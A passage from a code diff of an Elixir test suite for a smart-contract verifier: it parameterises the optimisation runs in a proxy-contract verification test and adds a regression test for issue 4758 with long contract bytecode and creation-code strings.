insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.2+commit.661d1103", - "evm_version" => "default", - "name" => "TransparentUpgradeableProxy", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => false, - "constructor_arguments" => - "0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.2+commit.661d1103", + "evm_version" => "default", + "name" => "TransparentUpgradeableProxy", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => false, + "constructor_arguments" => + "0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "issue 4758" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_4758.sol" + |> File.read!() + + bytecode = + "0x6080604052600436106101135760003560e01c8063759bd1fe116100a0578063a97eaba711610064578063a97eaba7146102db578063b7ec2086146102f1578063c7802ba214610306578063dd48f77414610326578063e2fa9ee01461034657600080fd5b8063759bd1fe146102535780638e8fa11f1461026657806390ffb8641461028657806391b7f5ed146102a65780639b6dbc8a146102c657600080fd5b80634707d000116100e75780634707d000146101c357806347535d7b146101e55780634a1bb6b41461020a57806353cdef02146102205780636aa7c1ab1461024057600080fd5b8062c0f916146101185780632481bb5c146101555780632ae3dc741461017557806339c4576214610195575b600080fd5b34801561012457600080fd5b50610138610133366004611be4565b610366565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561016157600080fd5b50600054610138906001600160a01b031681565b34801561018157600080fd5b50610138610190366004611a62565b610386565b3480156101a157600080fd5b506101b56101b0366004611a62565b6103f6565b60405190815260200161014c565b3480156101cf57600080fd5b506101e36101de366004611aca565b610492565b005b3480156101f157600080fd5b506101fa61064d565b604051901515815260200161014c565b34801561021657600080fd5b506101b560045481565b34801561022c57600080fd5b506101e361023b366004611aae565b610667565b6101e361024e36600461197b565b6107e2565b6101e3610261366004611b02565b610ad5565b34801561027257600080fd5b506101e36102813660046119f3565b610b11565b34801561029257600080fd5b506101fa6102a1366004611a62565b610c95565b3480156102b257600080fd5b506101e36102c1366004611be4565b610ca9565b3480156102d257600080fd5b506101e3610df6565b3480156102e757600080fd5b506101b560055481565b3480156102fd57600080fd5b506101b5610ed4565b34801561031257600080fd5b506101e3610321366004611b63565b610ff8565b34801561033257600080fd5b506101e3610341366004611aca565b6113d1565b34801561035257600080fd5b506101e3610361366004611be4565b6114e5565b6006816004811061037657600080fd5b01546001600160a01b0316905081565b600060068260018111156103aa57634e487b7160e01b600052602160045260246000fd5b846103b65760006103b9565b60025b60ff166103c69190611e6e565b600481106103e457634e487b7160e01b600052603260045260246000fd5b01546001600160a01b03169392505050565b6001546000906001600160a01b03166370a082316104148585610386565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611a96565b9392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906104c090600401611ce8565b60206040518083038186803b1580156104d857600080fd5b505afa1580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061195f565b6001600160a01b0316336001600160a01b0316146105495760405162461bcd60e51b815260040161054090611da8565b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b15801561059257600080fd5b505afa1580156105a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ca9190611a96565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561061057600080fd5b505af1158015610624573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106489190611a46565b505050565b60008060055411801561066257506005544210155b905090565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061069590600401611dfe565b60206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e5919061195f565b6001600160a01b0316336001600160a01b0316146107155760405162461bcd60e51b815260040161054090611e23565b6001600160a01b0381166107875760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527234b233b2903230ba309031b7b73a3930b1ba1760691b6064820152608401610540565b600080546040516001600160a01b03808516939216917f6a6e057f21cc834cf349d8150e92867f52cb34d54375f174c09c431538c3dfb991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6107ea61064d565b151560011461080b5760405162461bcd60e51b815260040161054090611d5d565b826108585760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b806108755760405162461bcd60e51b815260040161054090611d18565b6000806108828287610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109059190611a96565b9050600081116109575760405162461bcd60e51b815260206004820181905260248201527f5468652072657175657374656420617373657420697320736f6c64206f75742e6044820152606401610540565b6000610961610ed4565b9050803410156109ca5760405162461bcd60e51b815260206004820152602e60248201527f53656e6420656e6f7567682063757272656e637920746f20706179206174206c60448201526d32b0b9ba1037b7329034ba32b69760911b6064820152608401610540565b60006109d68234611e86565b9050828111156109e35750815b60006109ef8383611ea6565b9050610a008b8b84898989896115ce565b60005460405163bf40fac160e01b815260206004820152600b60248201526a62656e656669636961727960a81b6044820152610aac9183916001600160a01b039091169063bf40fac19060640160206040518083038186803b158015610a6557600080fd5b505afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d919061195f565b6001600160a01b0316906117eb565b80341115610ac857610ac8610ac18234611ec5565b33906117eb565b5050505050505050505050565b610add61064d565b1515600114610afe5760405162461bcd60e51b815260040161054090611d5d565b610b0b33858585856107e2565b50505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610b3f90600401611ce8565b60206040518083038186803b158015610b5757600080fd5b505afa158015610b6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8f919061195f565b6001600160a01b0316336001600160a01b031614610bbf5760405162461bcd60e51b815260040161054090611da8565b6001600160a01b038316610c155760405162461bcd60e51b815260206004820152601e60248201527f6e65656420612076616c696420726576657273652072656769737472617200006044820152606401610540565b60405163c47f002760e01b81526001600160a01b0384169063c47f002790610c439085908590600401611cb9565b602060405180830381600087803b158015610c5d57600080fd5b505af1158015610c71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611a96565b6000610ca183836103f6565b159392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610cd790600401611dfe565b60206040518083038186803b158015610cef57600080fd5b505afa158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d27919061195f565b6001600160a01b0316336001600160a01b031614610d575760405162461bcd60e51b815260040161054090611e23565b60008111610db55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401610540565b60045460408051918252602082018390527f8aa4fa52648a6d15edce8a179c792c86f3719d0cc3c572cf90f91948f0f2cb68910160405180910390a1600455565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610e2490600401611dfe565b60206040518083038186803b158015610e3c57600080fd5b505afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e74919061195f565b6001600160a01b0316336001600160a01b031614610ea45760405162461bcd60e51b815260040161054090611e23565b600060058190556040517f589bfff7e7b59e33b97fa923dbc99256a6d2fdf9a631b431fa2dc06f4eea0ded9190a1565b6000805460405163bf40fac160e01b81526020600482015260066024820152654f7261636c6560d01b60448201526064916001600160a01b03169063bf40fac190830160206040518083038186803b158015610f2f57600080fd5b505afa158015610f43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f67919061195f565b60405163048cc1a760e51b8152600060048201526001600160a01b03919091169063919834e09060240160206040518083038186803b158015610fa957600080fd5b505afa158015610fbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe19190611a96565b600454610fee9190611ea6565b6106629190611e86565b61100061064d565b15156001146110215760405162461bcd60e51b815260040161054090611d5d565b8261106e5760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b8061108b5760405162461bcd60e51b815260040161054090611d18565b6001600087828111156110ae57634e487b7160e01b600052602160045260246000fd5b905060006110bc838a610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f9190611a96565b9050808911156111a95760405162461bcd60e51b815260206004820152602f60248201527f4e6f7420656e6f7567682061737365747320617661696c61626c6520746f206260448201526e3abc903a3430ba1030b6b7bab73a1760891b6064820152608401610540565b600254604051627eeac760e11b8152336004820152602481018590528a916001600160a01b03169062fdd58e9060440160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611a96565b10156112ad5760405162461bcd60e51b815260206004820152604760248201527f596f75206e65656420746f206f776e20656e6f7567682070726573616c65207660448201527f6f75636865727320746f2072656465656d20746865207370656369666965642060648201526630b6b7bab73a1760c91b608482015260a401610540565b604080516001808252818301909252600091602080830190803683375050604080516001808252818301909252929350600092915060208083019080368337019050509050848260008151811061131457634e487b7160e01b600052603260045260246000fd5b6020026020010181815250508a8160008151811061134257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152600254604051637507c42960e11b81526001600160a01b039091169063ea0f88529061138190339086908690600401611c36565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b505050506113c38a8d8d89888860006115ce565b505050505050505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906113ff90600401611ce8565b60206040518083038186803b15801561141757600080fd5b505afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f919061195f565b6001600160a01b0316336001600160a01b03161461147f5760405162461bcd60e51b815260040161054090611da8565b60405163a22cb46560e01b81526001600160a01b0382811660048301526001602483015283169063a22cb46590604401600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061151390600401611dfe565b60206040518083038186803b15801561152b57600080fd5b505afa15801561153f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611563919061195f565b6001600160a01b0316336001600160a01b0316146115935760405162461bcd60e51b815260040161054090611e23565b60058190556040518181527f397a093f9e29b7327f453f9672278c54e4daed6b689ee9bb458ae76800452ad59060200160405180910390a150565b60005b858110156117e157600180546000916001600160a01b0390911690632f745c599087906115fe8689611ec5565b6116089190611ec5565b6040516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482015260440160206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116849190611a96565b600154604051632142170760e11b81526001600160a01b0388811660048301528c81166024830152604482018490529293509116906342842e0e90606401600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b505050508088600181111561171557634e487b7160e01b600052602160045260246000fd5b604080516001600160a01b038d168152891515602082015290810186905233907f1682a2a055cfda159fc278195b31d5f7ab61f5128c423fa0ea2bf511565a9b6d9060600160405180910390a46003546001805460405163ebaf492d60e01b81526001600160a01b039384169363ebaf492d9361179b9390911691869190600401611c76565b600060405180830381600087803b1580156117b557600080fd5b505af11580156117c9573d6000803e3d6000fd5b505050505080806117d990611edc565b9150506115d1565b5050505050505050565b8047101561183b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610540565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611888576040519150601f19603f3d011682016040523d82523d6000602084013e61188d565b606091505b50509050806106485760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610540565b80356002811061191357600080fd5b919050565b60008083601f840112611929578182fd5b50813567ffffffffffffffff811115611940578182fd5b60208301915083602082850101111561195857600080fd5b9250929050565b600060208284031215611970578081fd5b815161048b81611f0d565b600080600080600060808688031215611992578081fd5b853561199d81611f0d565b94506119ab60208701611904565b935060408601356119bb81611f25565b9250606086013567ffffffffffffffff8111156119d6578182fd5b6119e288828901611918565b969995985093965092949392505050565b600080600060408486031215611a07578283fd5b8335611a1281611f0d565b9250602084013567ffffffffffffffff811115611a2d578283fd5b611a3986828701611918565b9497909650939450505050565b600060208284031215611a57578081fd5b815161048b81611f25565b60008060408385031215611a74578182fd5b8235611a7f81611f25565b9150611a8d60208401611904565b90509250929050565b600060208284031215611aa7578081fd5b5051919050565b600060208284031215611abf578081fd5b813561048b81611f0d565b60008060408385031215611adc578182fd5b8235611ae781611f0d565b91506020830135611af781611f0d565b809150509250929050565b60008060008060608587031215611b17578384fd5b611b2085611904565b93506020850135611b3081611f25565b9250604085013567ffffffffffffffff811115611b4b578283fd5b611b5787828801611918565b95989497509550505050565b60008060008060008060a08789031215611b7b578081fd5b611b8487611904565b9550602087013594506040870135611b9b81611f0d565b93506060870135611bab81611f25565b9250608087013567ffffffffffffffff811115611bc6578182fd5b611bd289828a01611918565b979a9699509497509295939492505050565b600060208284031215611bf5578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611c2b57815187529582019590820190600101611c0f565b509495945050505050565b6001600160a01b0384168152606060208201819052600090611c5a90830185611bfc565b8281036040840152611c6c8185611bfc565b9695505050505050565b6001600160a01b0384168152602081018390526060810160048310611cab57634e487b7160e01b600052602160045260246000fd5b826040830152949350505050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6020808252601690820152751d1bdad95b905cdcda59db9b595b9d10dbdb9d1c9bdb60521b604082015260600190565b60208082526025908201527f596f75206e65656420746f2073656e642074686520616363657074616e6365206040820152643a32bc3a1760d91b606082015260800190565b6020808252602b908201527f546869732063616c6c206f6e6c7920776f726b73207768656e2074686520736860408201526a37b81034b99037b832b71760a91b606082015260800190565b60208082526036908201527f746f6b656e41737369676e6d656e74436f6e74726f6c206b65792072657175696040820152753932b2103337b9103a3434b990333ab731ba34b7b71760511b606082015260800190565b6020808252600b908201526a1cda1bdc10dbdb9d1c9bdb60aa1b604082015260600190565b6020808252602b908201527f73686f70436f6e74726f6c206b657920726571756972656420666f722074686960408201526a3990333ab731ba34b7b71760a91b606082015260800190565b60008219821115611e8157611e81611ef7565b500190565b600082611ea157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec057611ec0611ef7565b500290565b600082821015611ed757611ed7611ef7565b500390565b6000600019821415611ef057611ef0611ef7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611f2257600080fd5b50565b8015158114611f2257600080fdfea2646970667358221220f2e9ba9e74b25591261868f1d84c2beef56c6930ea91cecb35779eaf5d20ba0b64736f6c63430008040033" + + contract_creation_code = + "0x608060405260006005553480156200001657600080fd5b50604051620024e6380380620024e68339810160408190526200003991620003e5565b600080546001600160a01b0319166001600160a01b038816908117909155620000cf5760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527f69646765206461746120636f6e74726163742e0000000000000000000000000060648201526084015b60405180910390fd5b600380546001600160a01b0319166001600160a01b038716908117909155620001615760405162461bcd60e51b815260206004820152603860248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20736860448201527f697070696e67206d616e6167657220636f6e74726163742e00000000000000006064820152608401620000c6565b600180546001600160a01b0319166001600160a01b038616908117909155620001e25760405162461bcd60e51b81526020600482015260376024820152600080516020620024c683398151915260448201527f7970746f7374616d7020332e3120636f6e74726163742e0000000000000000006064820152608401620000c6565b600280546001600160a01b0319166001600160a01b038516908117909155620002635760405162461bcd60e51b815260206004820152603f6024820152600080516020620024c683398151915260448201527f7970746f7374616d7020332e312050726573616c6520636f6e74726163742e006064820152608401620000c6565b600482905581620002c55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401620000c6565b805160049081146200032f5760405162461bcd60e51b815260206004820152602c60248201527f4e65656420636f727265637420616d6f756e74206f6620746f6b656e20706f6f60448201526b361030b2323932b9b9b2b99760a11b6064820152608401620000c6565b60005b81811015620003ba578281815181106200035c57634e487b7160e01b600052603260045260246000fd5b6020026020010151600682600481106200038657634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b039290921691909117905580620003b1816200050f565b91505062000332565b50505050505050506200054d565b80516001600160a01b0381168114620003e057600080fd5b919050565b60008060008060008060c08789031215620003fe578182fd5b6200040987620003c8565b955060206200041a818901620003c8565b95506200042a60408901620003c8565b94506200043a60608901620003c8565b608089015160a08a015191955093506001600160401b03808211156200045e578384fd5b818a0191508a601f83011262000472578384fd5b81518181111562000487576200048762000537565b8060051b604051601f19603f83011681018181108582111715620004af57620004af62000537565b604052828152858101935084860182860187018f1015620004ce578788fd5b8795505b83861015620004fb57620004e681620003c8565b855260019590950194938601938601620004d2565b508096505050505050509295509295509295565b60006000198214156200053057634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b611f69806200055d6000396000f3fe6080604052600436106101135760003560e01c8063759bd1fe116100a0578063a97eaba711610064578063a97eaba7146102db578063b7ec2086146102f1578063c7802ba214610306578063dd48f77414610326578063e2fa9ee01461034657600080fd5b8063759bd1fe146102535780638e8fa11f1461026657806390ffb8641461028657806391b7f5ed146102a65780639b6dbc8a146102c657600080fd5b80634707d000116100e75780634707d000146101c357806347535d7b146101e55780634a1bb6b41461020a57806353cdef02146102205780636aa7c1ab1461024057600080fd5b8062c0f916146101185780632481bb5c146101555780632ae3dc741461017557806339c4576214610195575b600080fd5b34801561012457600080fd5b50610138610133366004611be4565b610366565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561016157600080fd5b50600054610138906001600160a01b031681565b34801561018157600080fd5b50610138610190366004611a62565b610386565b3480156101a157600080fd5b506101b56101b0366004611a62565b6103f6565b60405190815260200161014c565b3480156101cf57600080fd5b506101e36101de366004611aca565b610492565b005b3480156101f157600080fd5b506101fa61064d565b604051901515815260200161014c565b34801561021657600080fd5b506101b560045481565b34801561022c57600080fd5b506101e361023b366004611aae565b610667565b6101e361024e36600461197b565b6107e2565b6101e3610261366004611b02565b610ad5565b34801561027257600080fd5b506101e36102813660046119f3565b610b11565b34801561029257600080fd5b506101fa6102a1366004611a62565b610c95565b3480156102b257600080fd5b506101e36102c1366004611be4565b610ca9565b3480156102d257600080fd5b506101e3610df6565b3480156102e757600080fd5b506101b560055481565b3480156102fd57600080fd5b506101b5610ed4565b34801561031257600080fd5b506101e3610321366004611b63565b610ff8565b34801561033257600080fd5b506101e3610341366004611aca565b6113d1565b34801561035257600080fd5b506101e3610361366004611be4565b6114e5565b6006816004811061037657600080fd5b01546001600160a01b0316905081565b600060068260018111156103aa57634e487b7160e01b600052602160045260246000fd5b846103b65760006103b9565b60025b60ff166103c69190611e6e565b600481106103e457634e487b7160e01b600052603260045260246000fd5b01546001600160a01b03169392505050565b6001546000906001600160a01b03166370a082316104148585610386565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611a96565b9392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906104c090600401611ce8565b60206040518083038186803b1580156104d857600080fd5b505afa1580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061195f565b6001600160a01b0316336001600160a01b0316146105495760405162461bcd60e51b815260040161054090611da8565b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b15801561059257600080fd5b505afa1580156105a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ca9190611a96565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561061057600080fd5b505af1158015610624573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106489190611a46565b505050565b60008060055411801561066257506005544210155b905090565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061069590600401611dfe565b60206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e5919061195f565b6001600160a01b0316336001600160a01b0316146107155760405162461bcd60e51b815260040161054090611e23565b6001600160a01b0381166107875760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527234b233b2903230ba309031b7b73a3930b1ba1760691b6064820152608401610540565b600080546040516001600160a01b03808516939216917f6a6e057f21cc834cf349d8150e92867f52cb34d54375f174c09c431538c3dfb991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6107ea61064d565b151560011461080b5760405162461bcd60e51b815260040161054090611d5d565b826108585760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b806108755760405162461bcd60e51b815260040161054090611d18565b6000806108828287610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109059190611a96565b9050600081116109575760405162461bcd60e51b815260206004820181905260248201527f5468652072657175657374656420617373657420697320736f6c64206f75742e6044820152606401610540565b6000610961610ed4565b9050803410156109ca5760405162461bcd60e51b815260206004820152602e60248201527f53656e6420656e6f7567682063757272656e637920746f20706179206174206c60448201526d32b0b9ba1037b7329034ba32b69760911b6064820152608401610540565b60006109d68234611e86565b9050828111156109e35750815b60006109ef8383611ea6565b9050610a008b8b84898989896115ce565b60005460405163bf40fac160e01b815260206004820152600b60248201526a62656e656669636961727960a81b6044820152610aac9183916001600160a01b039091169063bf40fac19060640160206040518083038186803b158015610a6557600080fd5b505afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d919061195f565b6001600160a01b0316906117eb565b80341115610ac857610ac8610ac18234611ec5565b33906117eb565b5050505050505050505050565b610add61064d565b1515600114610afe5760405162461bcd60e51b815260040161054090611d5d565b610b0b33858585856107e2565b50505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610b3f90600401611ce8565b60206040518083038186803b158015610b5757600080fd5b505afa158015610b6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8f919061195f565b6001600160a01b0316336001600160a01b031614610bbf5760405162461bcd60e51b815260040161054090611da8565b6001600160a01b038316610c155760405162461bcd60e51b815260206004820152601e60248201527f6e65656420612076616c696420726576657273652072656769737472617200006044820152606401610540565b60405163c47f002760e01b81526001600160a01b0384169063c47f002790610c439085908590600401611cb9565b602060405180830381600087803b158015610c5d57600080fd5b505af1158015610c71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611a96565b6000610ca183836103f6565b159392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610cd790600401611dfe565b60206040518083038186803b158015610cef57600080fd5b505afa158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d27919061195f565b6001600160a01b0316336001600160a01b031614610d575760405162461bcd60e51b815260040161054090611e23565b60008111610db55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401610540565b60045460408051918252602082018390527f8aa4fa52648a6d15edce8a179c792c86f3719d0cc3c572cf90f91948f0f2cb68910160405180910390a1600455565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610e2490600401611dfe565b60206040518083038186803b158015610e3c57600080fd5b505afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e74919061195f565b6001600160a01b0316336001600160a01b031614610ea45760405162461bcd60e51b815260040161054090611e23565b600060058190556040517f589bfff7e7b59e33b97fa923dbc99256a6d2fdf9a631b431fa2dc06f4eea0ded9190a1565b6000805460405163bf40fac160e01b81526020600482015260066024820152654f7261636c6560d01b60448201526064916001600160a01b03169063bf40fac190830160206040518083038186803b158015610f2f57600080fd5b505afa158015610f43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f67919061195f565b60405163048cc1a760e51b8152600060048201526001600160a01b03919091169063919834e09060240160206040518083038186803b158015610fa957600080fd5b505afa158015610fbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe19190611a96565b600454610fee9190611ea6565b6106629190611e86565b61100061064d565b15156001146110215760405162461bcd60e51b815260040161054090611d5d565b8261106e5760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b8061108b5760405162461bcd60e51b815260040161054090611d18565b6001600087828111156110ae57634e487b7160e01b600052602160045260246000fd5b905060006110bc838a610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f9190611a96565b9050808911156111a95760405162461bcd60e51b815260206004820152602f60248201527f4e6f7420656e6f7567682061737365747320617661696c61626c6520746f206260448201526e3abc903a3430ba1030b6b7bab73a1760891b6064820152608401610540565b600254604051627eeac760e11b8152336004820152602481018590528a916001600160a01b03169062fdd58e9060440160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611a96565b10156112ad5760405162461bcd60e51b815260206004820152604760248201527f596f75206e65656420746f206f776e20656e6f7567682070726573616c65207660448201527f6f75636865727320746f2072656465656d20746865207370656369666965642060648201526630b6b7bab73a1760c91b608482015260a401610540565b604080516001808252818301909252600091602080830190803683375050604080516001808252818301909252929350600092915060208083019080368337019050509050848260008151811061131457634e487b7160e01b600052603260045260246000fd5b6020026020010181815250508a8160008151811061134257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152600254604051637507c42960e11b81526001600160a01b039091169063ea0f88529061138190339086908690600401611c36565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b505050506113c38a8d8d89888860006115ce565b505050505050505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906113ff90600401611ce8565b60206040518083038186803b15801561141757600080fd5b505afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f919061195f565b6001600160a01b0316336001600160a01b03161461147f5760405162461bcd60e51b815260040161054090611da8565b60405163a22cb46560e01b81526001600160a01b0382811660048301526001602483015283169063a22cb46590604401600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061151390600401611dfe565b60206040518083038186803b15801561152b57600080fd5b505afa15801561153f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611563919061195f565b6001600160a01b0316336001600160a01b0316146115935760405162461bcd60e51b815260040161054090611e23565b60058190556040518181527f397a093f9e29b7327f453f9672278c54e4daed6b689ee9bb458ae76800452ad59060200160405180910390a150565b60005b858110156117e157600180546000916001600160a01b0390911690632f745c599087906115fe8689611ec5565b6116089190611ec5565b6040516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482015260440160206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116849190611a96565b600154604051632142170760e11b81526001600160a01b0388811660048301528c81166024830152604482018490529293509116906342842e0e90606401600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b505050508088600181111561171557634e487b7160e01b600052602160045260246000fd5b604080516001600160a01b038d168152891515602082015290810186905233907f1682a2a055cfda159fc278195b31d5f7ab61f5128c423fa0ea2bf511565a9b6d9060600160405180910390a46003546001805460405163ebaf492d60e01b81526001600160a01b039384169363ebaf492d9361179b9390911691869190600401611c76565b600060405180830381600087803b1580156117b557600080fd5b505af11580156117c9573d6000803e3d6000fd5b505050505080806117d990611edc565b9150506115d1565b5050505050505050565b8047101561183b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610540565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611888576040519150601f19603f3d011682016040523d82523d6000602084013e61188d565b606091505b50509050806106485760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c7565